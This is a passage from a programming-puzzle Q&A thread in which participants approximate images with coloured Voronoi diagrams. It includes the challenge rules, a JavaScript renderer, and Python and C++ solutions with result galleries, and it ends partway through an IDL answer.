prefer.\nYou *may* use built-in or third-party functions to compute a Voronoi map from a set of sites (if you need to).\nThis is a popularity contest, so the answer with the most net votes wins. Voters are encouraged to judge answers by\n* how well the original images and their colours are approximated.\n* how well the algorithm works on different kinds of images.\n* how well the algorithm works for small **N**.\n* whether the algorithm adaptively clusters points in regions of the image that require more detail.\n## Test Images\nHere are a few images to test your algorithm on (some of our usual suspects, some new ones). Click the pictures for larger versions.\n[![Great Wave](https://i.stack.imgur.com/56MVN.png)](http://upload.wikimedia.org/wikipedia/commons/thumb/0/0d/Great_Wave_off_Kanagawa2.jpg/800px-Great_Wave_off_Kanagawa2.jpg)\n[![Hedgehog](https://i.stack.imgur.com/SO19D.png)](https://i.stack.imgur.com/5eUHY.jpg)\n[![Beach](https://i.stack.imgur.com/Ji4fa.png)](https://i.stack.imgur.com/IIiLc.jpg)\n[![Cornell](https://i.stack.imgur.com/XiClh.png)](https://i.stack.imgur.com/4iKrE.png)\n[![Saturn](https://i.stack.imgur.com/PNA8p.png)](https://i.stack.imgur.com/Du35b.jpg)\n[![Brown Bear](https://i.stack.imgur.com/vFMZu.png)](http://upload.wikimedia.org/wikipedia/commons/thumb/2/2a/Brown_bear_%28Ursus_arctos_arctos%29_running.jpg/796px-Brown_bear_%28Ursus_arctos_arctos%29_running.jpg)\n[![Yoshi](https://i.stack.imgur.com/buEyI.png)](https://i.stack.imgur.com/XC4zY.png)\n[![Mandrill](https://i.stack.imgur.com/B66Zs.png)](https://i.stack.imgur.com/fCTEl.png)\n[![Crab Nebula](https://i.stack.imgur.com/6AjIN.png)](http://upload.wikimedia.org/wikipedia/commons/thumb/0/00/Crab_Nebula.jpg/600px-Crab_Nebula.jpg)\n[![Geobits' Kid](https://i.stack.imgur.com/UjxxU.png)](https://i.stack.imgur.com/bLGD9.png)\n[![Waterfall](https://i.stack.imgur.com/JTsT2.png)](http://upload.wikimedia.org/wikipedia/en/e/e8/Escher_Waterfall.jpg)\n[![Scream](https://i.stack.imgur.com/l2wGm.png)](https://i.stack.imgur.com/I3XrT.png)\n*The beach in the first row was drawn by [Olivia Bell](http://pairlee.tumblr.com/), and included with her permission.*\nIf you want an extra challenge, try [Yoshi with a white background](https://i.stack.imgur.com/PzxvJ.png) and get his belly line right.\nYou can find all of these test images [in this imgur gallery](https://i.stack.imgur.com/fh9Un.jpg) where you can download all of them as a zip file. The album also contains a random Voronoi diagram as another test. For reference, [here is the data that generated it](http://pastebin.com/ZQRNwNTk).\nPlease include example diagrams for a variety of different images and **N**, e.g. 100, 300, 1000, 3000 (as well as pastebins to some of the corresponding cell specifications). You may use or omit black edges between the cells as you see fit (this may look better on some images than on others). Do not include the sites though (except in a separate example maybe if you want to explain how your site placement works, of course).\nIf you want to show a large number of results, you can create a gallery over on [imgur.com](http://imgur.com/), to keep the size of the answers reasonable. Alternatively, put thumbnails in your post and make them links to larger images, like I did [in my reference answer](https://codegolf.stackexchange.com/a/50301/8478). You can get the small thumbnails by appending `s` to the file name in the imgur.com link (e.g. `I3XrT.png` -> `I3XrTs.png`). Also, feel free to use other test images, if you find something nice.\n## Renderer\nPaste your output into the following Stack Snippet to render your results. The exact list format is irrelevant, as long as each cell is specified by 5 floating point numbers in the order `x y r g b`, where `x` and `y` are the coordinates of the cell's site, and `r g b` are the red, green and blue colour channels in the range `0 ≤ r, g, b ≤ 1`.\nThe snippet provides options to specify a line width of the cell edges, and whether or not the cell sites should be shown (the latter mostly for debugging purposes). But note that the output is only re-rendered when the cell specifications change - so if you modify some of the other options, add a space to the cells or something.\n```\nfunction draw() {\n document.getElementById(\"output\").innerHTML = svg\n}\nfunction drawMap() {\n var cells = document.getElementById(\"cells\").value;\n var showSites = document.getElementById(\"showSites\").checked;\n var showCells = document.getElementById(\"showCells\").checked;\n var lineWidth = parseFloat(document.getElementById(\"linewidth\").value);\n var width = parseInt(document.getElementById(\"width\").value);\n var height = parseInt(document.getElementById(\"height\").value);\n var e = prefix.replace('{{WIDTH}}', width)\n .replace('{{HEIGHT}}', height);\n cells = cells.match(/(?:\\d*\\.\\d+|\\d+\\.\\d*|\\d+)(?:e-?\\d+)?/ig);\n var sitesDom = '';\n var sites = []\n for (i = 0; i < cells.length; i+=5)\n {\n x = parseFloat(cells[i]);\n y = parseFloat(cells[i+1]);\n r = Math.floor(parseFloat(cells[i+2])*255);\n g = Math.floor(parseFloat(cells[i+3])*255);\n b = Math.floor(parseFloat(cells[i+4])*255);\n sitesDom += '';\n sites.push({ x: x, y: y, r: r, g: g, b: b });\n }\n \n if (showCells)\n {\n var bbox = { xl: 0, xr: width, yt: 0, yb: height };\n var voronoi = new Voronoi();\n \n var diagram = voronoi.compute(sites, bbox);\n for (i = 0; i < diagram.cells.length; ++i)\n {\n var cell = diagram.cells[i];\n var site = cell.site;\n var coords = '';\n for (var j = 0; j < cell.halfedges.length; ++j)\n {\n var vertex = cell.halfedges[j].getStartpoint();\n coords += ' ' + vertex.x + ',' + vertex.y;\n }\n var color = 'rgb('+site.r+','+site.g+','+site.b+')';\n e += '';\n }\n }\n if (showSites)\n e += sitesDom;\n e += suffix;\n e += '
Using '+sites.length+' cells.';\n svg = e;\n draw();\n}\nvar prefix = '',\n suffix = \"\",\n scale = 0.95,\n offset = 225,\n radius = scale*offset,\n svg = \"\";\n```\n```\nsvg {\n position: relative;\n}\n```\n```\n\nLine width: \n
\nShow sites: \n
\nShow cells: \n
\n
\nDimensions: x \n
\nPaste cell specifications here\n
\n\n
\n
\n
\n```\nMassive credits to Raymond Hill for writing [this really nice JS Voronoi library](https://github.com/gorhill/Javascript-Voronoi).\n### Related Challenges\n* [Paint by Numbers](https://codegolf.stackexchange.com/q/42217/8478)\n* [Photomosaics or: How Many Programmers Does it Take to Replace a Light Bulb?](https://codegolf.stackexchange.com/q/34484/8478)\n \n[Answer]\n# Python + [scipy](http://www.scipy.org/) + [scikit-image](http://scikit-image.org/), weighted Poisson disc sampling\nMy solution is rather complex. I do some preprocessing on the image to remove noise and get a mapping how 'interesting' each point is (using a combination of local entropy and edge detection):\n![](https://i.stack.imgur.com/mLWZp.png)\nThen I choose sampling points using [Poisson disc sampling](http://bl.ocks.org/mbostock/dbb02448b0f93e4c82c3) with a twist: the distance of the circle is determined by the weight we determined earlier.\nThen once I have the sampling points I divide up the image in voronoi segments and assign the L\\*a\\*b\\* average of the color values inside each segment to each segment.\nI have a lot of heuristics, and I also must do a bit of math to make sure the number of sample points is close to `N`. I get `N` exactly by overshooting *slightly*, and then dropping some points with an heuristic.\nIn terms of runtime, this filter isn't *cheap*, but no image below took more than 5 seconds to make.\nWithout further ado:\n```\nimport math\nimport random\nimport collections\nimport os\nimport sys\nimport functools\nimport operator as op\nimport numpy as np\nimport warnings\nfrom scipy.spatial import cKDTree as KDTree\nfrom skimage.filters.rank import entropy\nfrom skimage.morphology import disk, dilation\nfrom skimage.util import img_as_ubyte\nfrom skimage.io import imread, imsave\nfrom skimage.color import rgb2gray, rgb2lab, lab2rgb\nfrom skimage.filters import sobel, gaussian_filter\nfrom skimage.restoration import denoise_bilateral\nfrom skimage.transform import downscale_local_mean\n# Returns a random real number in half-open range [0, x).\ndef rand(x):\n r = x\n while r == x:\n r = random.uniform(0, x)\n return r\ndef poisson_disc(img, n, k=30):\n h, w = img.shape[:2]\n nimg = denoise_bilateral(img, sigma_range=0.15, sigma_spatial=15)\n img_gray = rgb2gray(nimg)\n img_lab = rgb2lab(nimg)\n entropy_weight = 2**(entropy(img_as_ubyte(img_gray), disk(15)))\n entropy_weight /= np.amax(entropy_weight)\n entropy_weight = gaussian_filter(dilation(entropy_weight, disk(15)), 5)\n color = [sobel(img_lab[:, :, channel])**2 for channel in range(1, 3)]\n edge_weight = functools.reduce(op.add, color) ** (1/2) / 75\n edge_weight = dilation(edge_weight, disk(5))\n weight = (0.3*entropy_weight + 0.7*edge_weight)\n weight /= np.mean(weight)\n weight = weight\n max_dist = min(h, w) / 4\n avg_dist = math.sqrt(w * h / (n * math.pi * 0.5) ** (1.05))\n min_dist = avg_dist / 4\n dists = np.clip(avg_dist / weight, min_dist, max_dist)\n def gen_rand_point_around(point):\n radius = random.uniform(dists[point], max_dist)\n angle = rand(2 * math.pi)\n offset = np.array([radius * math.sin(angle), radius * math.cos(angle)])\n return tuple(point + offset)\n def has_neighbours(point):\n point_dist = dists[point]\n distances, idxs = tree.query(point,\n len(sample_points) + 1,\n distance_upper_bound=max_dist)\n if len(distances) == 0:\n return True\n for dist, idx in zip(distances, idxs):\n if np.isinf(dist):\n break\n if dist < point_dist and dist < dists[tuple(tree.data[idx])]:\n return True\n return False\n # Generate first point randomly.\n first_point = (rand(h), rand(w))\n to_process = [first_point]\n sample_points = [first_point]\n tree = KDTree(sample_points)\n while to_process:\n # Pop a random point.\n point = to_process.pop(random.randrange(len(to_process)))\n for _ in range(k):\n new_point = gen_rand_point_around(point)\n if (0 <= new_point[0] < h and 0 <= new_point[1] < w\n and not has_neighbours(new_point)):\n to_process.append(new_point)\n sample_points.append(new_point)\n tree = KDTree(sample_points)\n if len(sample_points) % 1000 == 0:\n print(\"Generated {} points.\".format(len(sample_points)))\n print(\"Generated {} points.\".format(len(sample_points)))\n return sample_points\ndef sample_colors(img, sample_points, n):\n h, w = img.shape[:2]\n print(\"Sampling colors...\")\n tree = KDTree(np.array(sample_points))\n color_samples = collections.defaultdict(list)\n img_lab = rgb2lab(img)\n xx, yy = np.meshgrid(np.arange(h), np.arange(w))\n pixel_coords = np.c_[xx.ravel(), yy.ravel()]\n nearest = tree.query(pixel_coords)[1]\n i = 0\n for pixel_coord in pixel_coords:\n color_samples[tuple(tree.data[nearest[i]])].append(\n img_lab[tuple(pixel_coord)])\n i += 1\n print(\"Computing color means...\")\n samples = []\n for point, colors in color_samples.items():\n avg_color = np.sum(colors, axis=0) / len(colors)\n samples.append(np.append(point, avg_color))\n if len(samples) > n:\n print(\"Downsampling {} to {} points...\".format(len(samples), n))\n while len(samples) > n:\n tree = KDTree(np.array(samples))\n dists, neighbours = tree.query(np.array(samples), 2)\n dists = dists[:, 1]\n worst_idx = min(range(len(samples)), key=lambda i: dists[i])\n samples[neighbours[worst_idx][1]] += samples[neighbours[worst_idx][0]]\n samples[neighbours[worst_idx][1]] /= 2\n samples.pop(neighbours[worst_idx][0])\n color_samples = []\n for sample in samples:\n color = lab2rgb([[sample[2:]]])[0][0]\n color_samples.append(tuple(sample[:2][::-1]) + tuple(color))\n return color_samples\ndef render(img, color_samples):\n print(\"Rendering...\")\n h, w = [2*x for x in img.shape[:2]]\n xx, yy = np.meshgrid(np.arange(h), np.arange(w))\n pixel_coords = np.c_[xx.ravel(), yy.ravel()]\n colors = np.empty([h, w, 3])\n coords = []\n for color_sample in color_samples:\n coord = tuple(x*2 for x in color_sample[:2][::-1])\n colors[coord] = color_sample[2:]\n coords.append(coord)\n tree = KDTree(coords)\n idxs = tree.query(pixel_coords)[1]\n data = colors[tuple(tree.data[idxs].astype(int).T)].reshape((w, h, 3))\n data = np.transpose(data, (1, 0, 2))\n return downscale_local_mean(data, (2, 2, 1))\nif __name__ == \"__main__\":\n warnings.simplefilter(\"ignore\")\n img = imread(sys.argv[1])[:, :, :3]\n print(\"Calibrating...\")\n mult = 1.02 * 500 / len(poisson_disc(img, 500))\n for n in (100, 300, 1000, 3000):\n print(\"Sampling {} for size {}.\".format(sys.argv[1], n))\n sample_points = poisson_disc(img, mult * n)\n samples = sample_colors(img, sample_points, n)\n base = os.path.basename(sys.argv[1])\n with open(\"{}-{}.txt\".format(os.path.splitext(base)[0], n), \"w\") as f:\n for sample in samples:\n f.write(\" \".join(\"{:.3f}\".format(x) for x in sample) + \"\\n\")\n imsave(\"autorenders/{}-{}.png\".format(os.path.splitext(base)[0], n),\n render(img, samples))\n print(\"Done!\")\n```\n# [Images](https://i.stack.imgur.com/HNFf9.jpg)\nRespectively `N` is 100, 300, 1000 and 3000:\n[![abc](https://i.stack.imgur.com/ruTdz.jpg)](https://i.stack.imgur.com/dVHGo.png)\n[![abc](https://i.stack.imgur.com/c0XKf.jpg)](https://i.stack.imgur.com/KwNqL.png)\n[![abc](https://i.stack.imgur.com/rumuJ.jpg)](https://i.stack.imgur.com/uo8fs.png)\n[![abc](https://i.stack.imgur.com/ekOwj.jpg)](https://i.stack.imgur.com/xDKtM.png) \n[![abc](https://i.stack.imgur.com/YMGXR.jpg)](https://i.stack.imgur.com/IGhdG.png)\n[![abc](https://i.stack.imgur.com/jd05x.jpg)](https://i.stack.imgur.com/gEH8w.png)\n[![abc](https://i.stack.imgur.com/fJm8L.jpg)](https://i.stack.imgur.com/IJQw4.png)\n[![abc](https://i.stack.imgur.com/NGtth.jpg)](https://i.stack.imgur.com/v5pl8.png) \n[![abc](https://i.stack.imgur.com/zmYFM.jpg)](https://i.stack.imgur.com/a4GhI.png)\n[![abc](https://i.stack.imgur.com/mxJib.jpg)](https://i.stack.imgur.com/XnTFB.png)\n[![abc](https://i.stack.imgur.com/kXmQY.jpg)](https://i.stack.imgur.com/QqdOS.png)\n[![abc](https://i.stack.imgur.com/zMbtu.jpg)](https://i.stack.imgur.com/IU6QO.png) \n[![abc](https://i.stack.imgur.com/Y3yDy.jpg)](https://i.stack.imgur.com/CgjVC.png)\n[![abc](https://i.stack.imgur.com/6Plr9.jpg)](https://i.stack.imgur.com/nbHuN.png)\n[![abc](https://i.stack.imgur.com/nC95I.jpg)](https://i.stack.imgur.com/BJv7J.png)\n[![abc](https://i.stack.imgur.com/pD726.jpg)](https://i.stack.imgur.com/ITQgu.png) \n[![abc](https://i.stack.imgur.com/dZS1k.jpg)](https://i.stack.imgur.com/fl5c7.png)\n[![abc](https://i.stack.imgur.com/vbTkF.jpg)](https://i.stack.imgur.com/Lc8DY.png)\n[![abc](https://i.stack.imgur.com/K3thH.jpg)](https://i.stack.imgur.com/ylR8C.png)\n[![abc](https://i.stack.imgur.com/miuxp.jpg)](https://i.stack.imgur.com/G9htP.png) \n[![abc](https://i.stack.imgur.com/HDILm.jpg)](https://i.stack.imgur.com/2M6tC.png)\n[![abc](https://i.stack.imgur.com/u3P7W.jpg)](https://i.stack.imgur.com/itD5I.png)\n[![abc](https://i.stack.imgur.com/SdLq2.jpg)](https://i.stack.imgur.com/GPKVW.png)\n[![abc](https://i.stack.imgur.com/UtyGs.jpg)](https://i.stack.imgur.com/fHa3F.png) \n[![abc](https://i.stack.imgur.com/8bvEl.jpg)](https://i.stack.imgur.com/q1OMV.png)\n[![abc](https://i.stack.imgur.com/gZQmL.jpg)](https://i.stack.imgur.com/sIMuM.png)\n[![abc](https://i.stack.imgur.com/n8yOV.jpg)](https://i.stack.imgur.com/5sDaY.png)\n[![abc](https://i.stack.imgur.com/bDeOf.jpg)](https://i.stack.imgur.com/Dgggd.png) \n[![abc](https://i.stack.imgur.com/X6u2A.jpg)](https://i.stack.imgur.com/nFyKc.png)\n[![abc](https://i.stack.imgur.com/ucLWp.jpg)](https://i.stack.imgur.com/6fDkh.png)\n[![abc](https://i.stack.imgur.com/9rKiC.jpg)](https://i.stack.imgur.com/VFgLb.png)\n[![abc](https://i.stack.imgur.com/loAOb.jpg)](https://i.stack.imgur.com/aQYBJ.png) \n[![abc](https://i.stack.imgur.com/VaqTo.jpg)](https://i.stack.imgur.com/hmWOD.png)\n[![abc](https://i.stack.imgur.com/ED761.jpg)](https://i.stack.imgur.com/CZYUB.png)\n[![abc](https://i.stack.imgur.com/WSOfa.jpg)](https://i.stack.imgur.com/vXgk7.png)\n[![abc](https://i.stack.imgur.com/cshe7.jpg)](https://i.stack.imgur.com/QJUW0.png) \n[![abc](https://i.stack.imgur.com/8bTxG.jpg)](https://i.stack.imgur.com/WtU8A.png)\n[![abc](https://i.stack.imgur.com/Q3QwD.jpg)](https://i.stack.imgur.com/pNoya.png)\n[![abc](https://i.stack.imgur.com/vKJE3.jpg)](https://i.stack.imgur.com/vH9td.png)\n[![abc](https://i.stack.imgur.com/JXq3j.jpg)](https://i.stack.imgur.com/FdJGp.png) \n[![abc](https://i.stack.imgur.com/cj9DN.jpg)](https://i.stack.imgur.com/v9uKU.png)\n[![abc](https://i.stack.imgur.com/kiDd0.jpg)](https://i.stack.imgur.com/0Qskp.png)\n[![abc](https://i.stack.imgur.com/MhPlM.jpg)](https://i.stack.imgur.com/4AISF.png)\n[![abc](https://i.stack.imgur.com/olBNi.jpg)](https://i.stack.imgur.com/4EiZx.png) \n[![abc](https://i.stack.imgur.com/pzRpc.jpg)](https://i.stack.imgur.com/93oTQ.png)\n[![abc](https://i.stack.imgur.com/VQlcK.jpg)](https://i.stack.imgur.com/9UgfV.png)\n[![abc](https://i.stack.imgur.com/fnxf2.jpg)](https://i.stack.imgur.com/V0F0F.png)\n[![abc](https://i.stack.imgur.com/VHl5l.jpg)](https://i.stack.imgur.com/tM4gL.png) \n[![abc](https://i.stack.imgur.com/4gg8t.jpg)](https://i.stack.imgur.com/wPO03.png)\n[![abc](https://i.stack.imgur.com/uX77D.jpg)](https://i.stack.imgur.com/IUChX.png)\n[![abc](https://i.stack.imgur.com/WeDfh.jpg)](https://i.stack.imgur.com/M87IR.png)\n[![abc](https://i.stack.imgur.com/NdtdC.jpg)](https://i.stack.imgur.com/e1YsK.png)\n[Answer]\n# C++\nMy approach is quite slow, but I'm very happy with quality of the results that it gives, particularly with respect to preserving edges. For example, here's [Yoshi](http://pastebin.com/yqTKHkaU) and the [Cornell Box](http://pastebin.com/dpezQfRw) with just 1000 sites each:\n![](https://i.stack.imgur.com/IrVpe.png) ![](https://i.stack.imgur.com/BinmQ.png)\nThere are two main parts that make it tick. The first, embodied in the `evaluate()` function takes a set of candidate site locations, sets the optimal colors on them and returns a score for the [PSNR](http://en.wikipedia.org/wiki/Peak_signal-to-noise_ratio) of the rendered Voronoi tessellation versus the target image. The colors for each site are determined by averaging target image pixels covered by the cell around the site. I use [Welford's algorithm](http://en.wikipedia.org/wiki/Algorithms_for_calculating_variance#Online_algorithm) to help compute both the best color for each cell and the resulting PSNR using just a single pass over the image by exploiting the relationship between variance, MSE, and PSNR. This reduces the problem to one of finding the best set of site locations without particular regard to color.\nThe second part then, embodied in `main()`, tries to find this set. It starts by choosing a set of points at random. Then, in each step it removes one point (going round-robin) and tests a set of random candidate points to replace it. The one that yields the highest PSNR of the bunch is accepted and kept. Effectively, this causes the site to jump to a new location and generally improves the image bit-by-bit. Note that the algorithm intentionally does *not* retain the original location as a candidate. Sometimes this means that the jump lowers the overall image quality. Allowing this to happen helps to avoid getting stuck in local maxima. It also gives a stopping criteria; the program terminates after going a certain number of steps without improving on the best set of sites found so far.\nNote that this implementation is fairly basic and can easily take hours of CPU-core time, especially as the number of sites grows. It recomputes the complete Voronoi map for every candidate and brute force tests the distance to all sites for each pixel. Since each operation involves removing one point at a time and adding another, the actual changes to the image at each step are going to be fairly local. There are algorithms for efficiently incrementally updating a Voronoi diagram and I believe they'd give this algorithm a tremendous speedup. For this contest, however, I've chosen to keep things simple and brute-force.\n## Code\n```\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \nstatic auto const decimation = 2;\nstatic auto const candidates = 96;\nstatic auto const termination = 200;\nusing namespace std;\nstruct rgb {float red, green, blue;};\nstruct img {int width, height; vector pixels;};\nstruct site {float x, y; rgb color;};\nimg read(string const &name) {\n ifstream file{name, ios::in | ios::binary};\n auto result = img{0, 0, {}};\n if (file.get() != 'P' || file.get() != '6')\n return result;\n auto skip = [&](){\n while (file.peek() < '0' || '9' < file.peek())\n if (file.get() == '#')\n while (file.peek() != '\\r' && file.peek() != '\\n')\n file.get();\n };\n auto maximum = 0;\n skip(); file >> result.width;\n skip(); file >> result.height;\n skip(); file >> maximum;\n file.get();\n for (auto pixel = 0; pixel < result.width * result.height; ++pixel) {\n auto red = file.get() * 1.0f / maximum;\n auto green = file.get() * 1.0f / maximum;\n auto blue = file.get() * 1.0f / maximum;\n result.pixels.emplace_back(rgb{red, green, blue});\n }\n return result;\n }\n float evaluate(img const &target, vector &sites) {\n auto counts = vector(sites.size());\n auto variance = vector(sites.size());\n for (auto &site : sites)\n site.color = rgb{0.0f, 0.0f, 0.0f};\n for (auto y = 0; y < target.height; y += decimation)\n for (auto x = 0; x < target.width; x += decimation) {\n auto best = 0;\n auto closest = 1.0e30f;\n for (auto index = 0; index < sites.size(); ++index) {\n float distance = ((x - sites[index].x) * (x - sites[index].x) +\n (y - sites[index].y) * (y - sites[index].y));\n if (distance < closest) {\n best = index;\n closest = distance;\n }\n }\n ++counts[best];\n auto &pixel = target.pixels[y * target.width + x];\n auto &color = sites[best].color;\n rgb delta = {pixel.red - color.red,\n pixel.green - color.green,\n pixel.blue - color.blue};\n color.red += delta.red / counts[best];\n color.green += delta.green / counts[best];\n color.blue += delta.blue / counts[best];\n variance[best].red += delta.red * (pixel.red - color.red);\n variance[best].green += delta.green * (pixel.green - color.green);\n variance[best].blue += delta.blue * (pixel.blue - color.blue);\n }\n auto error = 0.0f;\n auto count = 0;\n for (auto index = 0; index < sites.size(); ++index) {\n if (!counts[index]) {\n auto x = min(max(static_cast(sites[index].x), 0), target.width - 1);\n auto y = min(max(static_cast(sites[index].y), 0), target.height - 1);\n sites[index].color = target.pixels[y * target.width + x];\n }\n count += counts[index];\n error += variance[index].red + variance[index].green + variance[index].blue;\n }\n return 10.0f * log10f(count * 3 / error);\n }\n void write(string const &name, int const width, int const height, vector const &sites) {\n ofstream file{name, ios::out};\n file << width << \" \" << height << endl;\n for (auto const &site : sites)\n file << site.x << \" \" << site.y << \" \"\n << site.color.red << \" \"<< site.color.green << \" \"<< site.color.blue << endl;\n }\n int main(int argc, char **argv) {\n auto rng = mt19937{random_device{}()};\n auto uniform = uniform_real_distribution{0.0f, 1.0f};\n auto target = read(argv[1]);\n auto sites = vector{};\n for (auto point = atoi(argv[2]); point; --point)\n sites.emplace_back(site{\n target.width * uniform(rng),\n target.height * uniform(rng)});\n auto greatest = 0.0f;\n auto remaining = termination;\n for (auto step = 0; remaining; ++step, --remaining) {\n auto best_candidate = sites;\n auto best_psnr = 0.0f;\n #pragma omp parallel for\n for (auto candidate = 0; candidate < candidates; ++candidate) {\n auto trial = sites;\n #pragma omp critical\n {\n trial[step % sites.size()].x = target.width * (uniform(rng) * 1.2f - 0.1f);\n trial[step % sites.size()].y = target.height * (uniform(rng) * 1.2f - 0.1f);\n }\n auto psnr = evaluate(target, trial);\n #pragma omp critical\n if (psnr > best_psnr) {\n best_candidate = trial;\n best_psnr = psnr;\n }\n }\n sites = best_candidate;\n if (best_psnr > greatest) {\n greatest = best_psnr;\n remaining = termination;\n write(argv[3], target.width, target.height, sites);\n }\n cout << \"Step \" << step << \"/\" << remaining\n << \", PSNR = \" << best_psnr << endl;\n }\n return 0;\n }\n```\n## Running\nThe program is self-contained and has no external dependencies beyond the standard library, but it does require images to be in the [binary PPM](http://netpbm.sourceforge.net/doc/ppm.html) format. I use [ImageMagick](http://www.imagemagick.org/script/index.php) to convert images to PPM, though GIMP and quite a few other programs can do it too.\nTo compile it, save the program as `voronoi.cpp` and then run:\n```\ng++ -std=c++11 -fopenmp -O3 -o voronoi voronoi.cpp\n```\nI expect it will probably work on Windows with recent versions of Visual Studio, though I haven't tried this. You'll want to make sure that you're compiling with C++11 or better and OpenMP enabled if you do. OpenMP is not strictly necessary, but it helps a lot in making the execution times more tolerable.\nTo run it, do something like:\n```\n./voronoi cornell.ppm 1000 cornell-1000.txt\n```\nThe later file will be updated with the site data as it goes. The first line will have the width and height of the image, followed by lines of x, y, r, g, b values suitable for copying and pasting into the Javascript renderer in the problem description.\nThe three constants at the top of the program allow you to tune it for speed versus quality. The `decimation` factor coarsens the target image when evaluating a set of sites for color and PSNR. The higher it is, the faster the program will run. Setting it to 1 uses the full resolution image. The `candidates` constant controls how many candidates to test on each step. Higher gives a better chance of finding a good spot to jump to but makes the program slower. Finally, `termination` is how many steps the program can go without improving its output before it quits. Increasing it may give better results but make it take marginally longer.\n## Images\n`N` = 100, 300, 1000, and 3000:\n[![](https://i.stack.imgur.com/HCE4F.jpg)](https://i.stack.imgur.com/NU85o.png)\n[![](https://i.stack.imgur.com/bhDlW.jpg)](https://i.stack.imgur.com/lWXfE.png)\n[![](https://i.stack.imgur.com/7cu5o.jpg)](https://i.stack.imgur.com/6egp1.png)\n[![](https://i.stack.imgur.com/bG7Rc.jpg)](https://i.stack.imgur.com/6ylCt.png)\n[![](https://i.stack.imgur.com/YoX8c.jpg)](https://i.stack.imgur.com/fa3cJ.png)\n[![](https://i.stack.imgur.com/7QpdK.jpg)](https://i.stack.imgur.com/qfthP.png)\n[![](https://i.stack.imgur.com/MsBbC.jpg)](https://i.stack.imgur.com/TTraF.png)\n[![](https://i.stack.imgur.com/3kNo3.jpg)](https://i.stack.imgur.com/AM2HI.png)\n[![](https://i.stack.imgur.com/wigFE.jpg)](https://i.stack.imgur.com/fp6NW.png)\n[![](https://i.stack.imgur.com/p6JGL.jpg)](https://i.stack.imgur.com/YheT4.png)\n[![](https://i.stack.imgur.com/prtNi.jpg)](https://i.stack.imgur.com/5OnZv.png)\n[![](https://i.stack.imgur.com/9IMxM.jpg)](https://i.stack.imgur.com/xFq3W.png)\n[![](https://i.stack.imgur.com/mTnY0.jpg)](https://i.stack.imgur.com/bNdZr.png)\n[![](https://i.stack.imgur.com/qgbTO.jpg)](https://i.stack.imgur.com/2WXfq.png)\n[![](https://i.stack.imgur.com/eHmEF.jpg)](https://i.stack.imgur.com/BinmQ.png)\n[![](https://i.stack.imgur.com/URDR3.jpg)](https://i.stack.imgur.com/qjqDm.png)\n[![](https://i.stack.imgur.com/vTwaT.jpg)](https://i.stack.imgur.com/QfhGm.png)\n[![](https://i.stack.imgur.com/42pZy.jpg)](https://i.stack.imgur.com/n1emC.png)\n[![](https://i.stack.imgur.com/28JRl.jpg)](https://i.stack.imgur.com/FVEBw.png)\n[![](https://i.stack.imgur.com/MxO9x.jpg)](https://i.stack.imgur.com/C12Ut.png)\n[![](https://i.stack.imgur.com/VpKxC.jpg)](https://i.stack.imgur.com/EY6jG.png)\n[![](https://i.stack.imgur.com/fLSIg.jpg)](https://i.stack.imgur.com/2Giax.png)\n[![](https://i.stack.imgur.com/VqAwT.jpg)](https://i.stack.imgur.com/z7q6L.png)\n[![](https://i.stack.imgur.com/ygAR8.jpg)](https://i.stack.imgur.com/n3GXN.png)\n[![](https://i.stack.imgur.com/iqsdN.jpg)](https://i.stack.imgur.com/JHli3.png)\n[![](https://i.stack.imgur.com/SI9HQ.jpg)](https://i.stack.imgur.com/dalrj.png)\n[![](https://i.stack.imgur.com/7hVwU.jpg)](https://i.stack.imgur.com/KNYvi.png)\n[![](https://i.stack.imgur.com/eipJa.jpg)](https://i.stack.imgur.com/qN7ox.png)\n[![](https://i.stack.imgur.com/Ycnpi.jpg)](https://i.stack.imgur.com/2yjvy.png)\n[![](https://i.stack.imgur.com/YRqmi.jpg)](https://i.stack.imgur.com/HRAw9.png)\n[![](https://i.stack.imgur.com/biYSy.jpg)](https://i.stack.imgur.com/ebLz8.png)\n[![](https://i.stack.imgur.com/AHABS.jpg)](https://i.stack.imgur.com/LOlBL.png)\n[![](https://i.stack.imgur.com/tzjr3.jpg)](https://i.stack.imgur.com/4MAZL.png)\n[![](https://i.stack.imgur.com/a78gu.jpg)](https://i.stack.imgur.com/QG3Vz.png)\n[![](https://i.stack.imgur.com/OdvoB.jpg)](https://i.stack.imgur.com/dd2Rk.png)\n[![](https://i.stack.imgur.com/yNVk7.jpg)](https://i.stack.imgur.com/mAnRg.png)\n[![](https://i.stack.imgur.com/Fbuhs.jpg)](https://i.stack.imgur.com/y81x0.png)\n[![](https://i.stack.imgur.com/EQb6I.jpg)](https://i.stack.imgur.com/J11P2.png)\n[![](https://i.stack.imgur.com/JIhhw.jpg)](https://i.stack.imgur.com/29s6J.png)\n[![](https://i.stack.imgur.com/Axlxv.jpg)](https://i.stack.imgur.com/Ud3b4.png)\n[![](https://i.stack.imgur.com/jqeYp.jpg)](https://i.stack.imgur.com/KoIgR.png)\n[![](https://i.stack.imgur.com/1IMRt.jpg)](https://i.stack.imgur.com/xoU5L.png)\n[![](https://i.stack.imgur.com/XwLqO.jpg)](https://i.stack.imgur.com/G01Rn.png)\n[![](https://i.stack.imgur.com/zoRBX.jpg)](https://i.stack.imgur.com/kIeIK.png)\n[![](https://i.stack.imgur.com/D7txZ.jpg)](https://i.stack.imgur.com/2zgOn.png)\n[![](https://i.stack.imgur.com/Ru28l.jpg)](https://i.stack.imgur.com/GvUg6.png)\n[![](https://i.stack.imgur.com/6czM2.jpg)](https://i.stack.imgur.com/IPZ8E.png)\n[![](https://i.stack.imgur.com/18vlE.jpg)](https://i.stack.imgur.com/Vf5AS.png)\n[![](https://i.stack.imgur.com/cKoI5.jpg)](https://i.stack.imgur.com/XbQlv.png)\n[![](https://i.stack.imgur.com/XtzJA.jpg)](https://i.stack.imgur.com/9bi8X.png)\n[![](https://i.stack.imgur.com/cZ0K1.jpg)](https://i.stack.imgur.com/IrVpe.png)\n[![](https://i.stack.imgur.com/lOKsT.jpg)](https://i.stack.imgur.com/aT9zh.png)\n[Answer]\n# IDL, adaptive refinement\nThis method is inspired by [Adaptive Mesh Refinement](http://en.wikipedia.org/wiki/Adaptive_mesh_refinement) from astronomical simulations, and also [Subdivision surface](http://en.wikipedia.org/wiki/Subdivision_surface). This is the kind of task that IDL prides itself on, which you'll be able to tell by the large number of builtin functions I was able to use. :D\nI've output some of the intermediates for the black-background yoshi test image, with `n = 1000`.\nFirst, we perform a luminance greyscale on the image (using `ct_luminance`), and apply a Prewitt filter (`prewitt`, see [wikipedia](http://en.wikipedia.org/wiki/Prewitt_operator)) for good edge 